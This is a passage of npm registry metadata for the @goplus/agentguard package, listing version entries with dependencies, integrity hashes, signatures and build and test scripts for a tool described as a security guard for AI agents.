registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.30-beta.3_1789528828029_0.14175219333636968","host":"s3://npm-registry-packages-npm-production"}},"1.1.30-beta.4":{"name":"@goplus/agentguard","version":"1.1.30-beta.4","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.30-beta.4","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"c2bea2007d443415a08613c4dd8f017acf9a4f17","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.30-beta.4.tgz","fileCount":461,"integrity":"sha512-bf205ITCZNRbQpH8dgjYAINvDEIVSVuW/oU7EcPNChqIZcjQxw+3Qjg9c7bg0rvHgYyb7TNfFz5o0viwGmVxvw==","signatures":[{"sig":"MEUCIFeZDBMhgGViEGAkh9PIAyIhGLuQrt/FL2+AkdqfEqo8AiEAlwHTbbgTxfcyJ8G+xBBKN6sX70+A1M4PHrlBcYidCgU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIDhj3DeJRlrFVGRQw52f/14P28+a8fFkntCnxvscNbz5AiEA6CCtn8gx9pd4BGsM87USLEbTsVyjqaA5pJ7nIPX9JC0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2809421},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"02022c3936999f0d2a90bc9c460c36a3cc71f5a7","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.30-beta.4_1789958731758_0.6597498968171742","host":"s3://npm-registry-packages-npm-production"}},"1.2.1-beta.1":{"name":"@goplus/agentguard","version":"1.2.1-beta.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.1-beta.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"56f0ecccd8e9b434af93a24b67783a046684baa5","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.1-beta.1.tgz","fileCount":501,"integrity":"sha512-3ORZCT04sVCUiZOXwsRXcV2LrYnKzEzOrxid6Q8XnhUbLA90LE/G9oiYl9Yr44Ef8JZtVtaxtUGd/9+d0Lr6Hg==","signatures":[{"sig":"MEQCIQCqH2cbC34rUkJu5vY8iAHEPA5SDS3Ik7t+exPrdVCt2gIfRLpskdfe+hywNM9P2Q/dTu5tY4w2L1tNWR4a1eXxCQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQCDn3X7p76Wvat5UuQNQwX+qlq0VyWNYAokJ41a5wTmCQIhAMSIdjqLj3H+7CpL6hVnafu3gLLUa3+z+0S3eWvcSYyR","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2960069},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"31baf83f3ff0d13f7b7778636eebe56d4aeceb3e","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.1-beta.1_1790069429604_0.1067584668296564","host":"s3://npm-registry-packages-npm-production"}},"1.2.1-beta.2":{"name":"@goplus/agentguard","version":"1.2.1-beta.2","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.1-beta.2","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"5e207b1c56054b07e088de71ec97c80b32b72835","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.1-beta.2.tgz","fileCount":501,"integrity":"sha512-v/NOcUdqOE5EvKz5p9PJI5NpwI0qA861+VMSm2Dz3GbiRItLO+sDDzHPWpN8u5TyW9Wum/OZo7lyZKaePCzftw==","signatures":[{"sig":"MEUCIFvAnwgqrwevc4oqFS1WvZk756WjPe5GdWHTv9nWWJPCAiEA1RmxKE2eWkTF03TUUKe49ZmmhaI9Kj7LqwupZqOqrEM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIDxoGXoR7qIVdWB1mbw+vKvD4a7Jh6Rp4DUDSCrnvtzFAiEAolr/O2WP79wEPh1/Nbp5iLNcdEvqsdlPuT3xL6SvwiY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2962569},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"d85a8f689729caef487c1bac30ab479634bae07d","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.1-beta.2_1790222818390_0.5906021057498612","host":"s3://npm-registry-packages-npm-production"}},"1.2.1-beta.3":{"name":"@goplus/agentguard","version":"1.2.1-beta.3","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.1-beta.3","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"fde5f302fc460eae66e207085dcc2e03d54aab85","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.1-beta.3.tgz","fileCount":501,"integrity":"sha512-o1vTiyIBeMGGbDmFEnOcx4RolMZLFYUqxTjFYR3nINlk5n9ghWTmI3Z3S4o1S+KOvY0fLRELztpXRCGr6OkmTw==","signatures":[{"sig":"MEUCIEUwqF1VvuJhMz9U/8zLTs5j4qS+nOb8Jh7MzjunHhUMAiEAsurMatEQsSsUQVsg9Ezee41artWHd/KFqGiyaS03+PE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCICa6nFoHuXAK2DgDlto23eZJORMvnPIsCSV6VdH94yJ4AiBmHOkyI61EqP9OukwjO4Ib1EW4xZqBeXj6JzQtpS/UHg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2976301},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"9516b03d17751949ffa3a1972c38e77a82d6b1f0","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.1-beta.3_1790589323909_0.19985716973778733","host":"s3://npm-registry-packages-npm-production"}},"1.2.1-beta.4":{"name":"@goplus/agentguard","version":"1.2.1-beta.4","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.1-beta.4","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"c587fae2b77dec93fe08da1838f865d2ea85180a","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.1-beta.4.tgz","fileCount":501,"integrity":"sha512-VKtnCxg8+JKmD1NjPId3HfWPiiqrAyUmoHdcQdUBEsqi2xR7w/l4NVoVxH+5v+4R2u+m0IrAZOnHOtpALWBRiA==","signatures":[{"sig":"MEYCIQC3hoOL7thWNYbC4LvHjci4CzQ7IeMpCEdnm+Jhs7aNdwIhAO2sHwjDnwOLqqKJoi+j7FfDF/41LIEBFBd2EHAKRT50","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIFD/6IN9WwKZP6cZvhQkjq58da7um5uiVhMG65Kmt3PyAiAXElroROT3L2mvwLsbPRNFkbsplog7BlTX85BXdQ7frA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2989122},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"ba2ac38577c66ccebd4bcac970249a726b75b34a","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.1-beta.4_1790668682909_0.546902290725092","host":"s3://npm-registry-packages-npm-production"}},"1.2.1-beta.5":{"name":"@goplus/agentguard","version":"1.2.1-beta.5","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.1-beta.5","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"a9e171a2c445c2782000f030efd1aa799a2735ac","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.1-beta.5.tgz","fileCount":501,"integrity":"sha512-SnE8iq165BLEIDUp61BTqFTi7RTR17Iq7unljH6Ih2rtMr9KS0Om1fIPXiQdFS8sQxVFIJ7gJegkW+vIx0UGzA==","signatures":[{"sig":"MEUCIQC9vw73R8JAwV4fGPfFevoXIovUbe9z+9r7WG9mGr6plgIgfXIYVAzAcmMfWKkojSfDAAJptvTuEhJpc9Slqgqz3Ao=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCRP+qqEdy22wwh3LQfvQj/aIAfbcuaSGqAq4URcD8AywIgGk8GgdAQbsRMEtOag+nTEr1Jpm0B2hsRYDphKud19zY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2990856},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"252a923606bceb89c8488a3e322e9e5b6ea37012","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.1-beta.5_1790679235651_0.9597571889619287","host":"s3://npm-registry-packages-npm-production"}},"1.2.1":{"name":"@goplus/agentguard","version":"1.2.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"21f2eee802d87fee68181abf01a8df60faff5e6e","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.1.tgz","fileCount":501,"integrity":"sha512-nFXgzYKKDHuZmd8J14YBZbFTnsqr7tM8C4lDHW/mOww9NA77qXpm2emybQDKUZ515KnwRbmBAE4uCa5lwFjfRw==","signatures":[{"sig":"MEYCIQDMhqmsmoNWnxB0pe/+G1BzIaAdWJYIi2NOswb5wdE9KQIhAMyk/pw19pJS4c2/D9yleSuIMfh4kJ6+QSOYuY3nDt6L","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDNEeS+0j3+Tnh8IGs5W1rhxCiGx519l4gOFmAtxfvW7wIgWVRT9oEnCB+xW3rzDtZtpNvZ33PRLzzOghwBvMZTUIA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2990849},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"a410540ad9db39bd241c64a38ee2e676275db522","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.1_1790682927469_0.7456006378777547","host":"s3://npm-registry-packages-npm-production"}},"1.2.2-beta.1":{"name":"@goplus/agentguard","version":"1.2.2-beta.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.2-beta.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"40dd1fc18343911af0e2269f462f0cb01d04c43e","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.2-beta.1.tgz","fileCount":501,"integrity":"sha512-uM7hXAYcQapJVSBjANP/Q7cogK8Y8nsa9N3Z46WUgG9bY4/+C2rwDPaZuJ6hXu7C6DchWiYWlUdkVArZ5ElOrA==","signatures":[{"sig":"MEQCICzvfq6Oj6RMG73Yg2hnK3+gVv3fYD40H7oP/tRi9ax+AiBXEs8wek0lOCczxz8yFo7DAdvrTAb8aZDOqX8DsqEh/w==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIA5WHCL02KIqvfEYHdGSOTqDWYtJXoTfdwU+nuRps47cAiB1p+CZD7PZS6vmupinfDEzk76GMiPuYKL9nOZIlGMkUw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3015022},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"5d18682c81e9de83a263798ffdd98a7823920023","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime 